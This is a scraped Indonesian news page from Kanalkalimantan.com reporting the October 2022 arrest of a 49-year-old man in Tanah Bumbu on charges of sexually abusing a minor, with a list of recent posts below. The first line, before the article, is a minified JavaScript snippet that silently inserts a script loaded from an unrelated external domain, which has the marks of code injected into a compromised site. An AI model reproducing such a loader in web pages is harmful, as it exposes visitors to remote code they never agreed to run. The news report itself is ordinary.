(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Gauli Anak di Bawah Umur, Pria dari Mantewe Dibekuk Polisi di Paser


KANALKALIMANTAN.COM, BATULICIN – Diduga melakukan aksi cabul keada seorang anak di bawah umur, JAI (49) warga Jalan Kodeco KM 38 Dusun II RT 05 RW 02, Kecamatan Mantewe, Kabupaten Tanah Bumbu, diringkus polisi.

Lelaki tersebut diamankan di Desa Sungai Terik, Kecamatan Batu Sopang, Kabupaten Paser, Provinsi Kaltim oleh Unit Resmob Satreskrim Polres Tanah Bumbu bersama Unit Kamneg Sat Intelkam Polres Tanah Bumbu di-back up Jatanras Polres Paser Polda Kalimantan Timur, Selasa (18/10/2022) malam.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP Made Rasa mengungkapkan, perbuatan JAI terungkap saat korban bercerita kepada teman sepermainannya bahwa ia pernah dipaksa berhubungan badan oleh JAI di rumahnya.

Mendengar kisah tersebut, teman korban menceritakan kembali aksi yang dilakukan JAI kepada ibunya. Ibu teman korban kaget, kemudian memberitahukan peristiwa tersebut kepada ibu korban.

 

Baca juga  : Sambut Hari Sumpah Pemuda ke-94, Disporapar HSU Gelar Lomba Ketangkasan Baris Berbaris

Mendengar cerita tetangganya, ibu korban langsung menginterogasi anaknya dan korban mengaku telah dipaksa berhubungan badan sebanyak tiga kali oleh tersangka JAI.

“Korban mengaku tiga kali dipaksa melakukan hubungan badan dan ibu korban menanyakan lagi waktu kejadiannya. Kemudian korban tidak mengingat kapan waktu kejadian tersebut,” kata Kasi Humas Polres Tanbu, Rabu (19/10/2022) siang.

Tidak terima atas perbuatan pelaku, ibu korban kemudian melaporkan kejadian tersebut ke Polsek Mantewe guna proses lebih lanjut.

Dalam penyidikan seusai ditangkap, tersangka JAI mengakui perbuatannya. Belakangan terungkap, ternyata bukan hanya kepada korban, tetapi JAI juga mengaku melakukan perbuatan bejat serupa kepada korban yang berbeda.

 

Baca juga : Anak TK Harapan Bunda Desa Tibarau Panjang Teluk Kepayang Dengarkan Story Telling

“Hasil interogasi, tersangka mengaku sudah 2 Kali melakukan tindak pidana yang sama dengan korban yang berbeda,” ungkap AKP Made.

Tersangka JAI dijerat dengan tindak pidana persetubuhan anak di bawah umur sebagaimana yang di maksud dalam pasal 82 Ayat (1) UU RI Nomor 35 Tahun 2014 Peraturan perundang-undangan Nomor 1 Tahun 2016 tentang perubahan kedua UU RI Nomor 23 Tahun 2002 tentang Perlindungan Anak yang telah ditetapkan sebagai UU Nomor 17 Tahun 2016. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.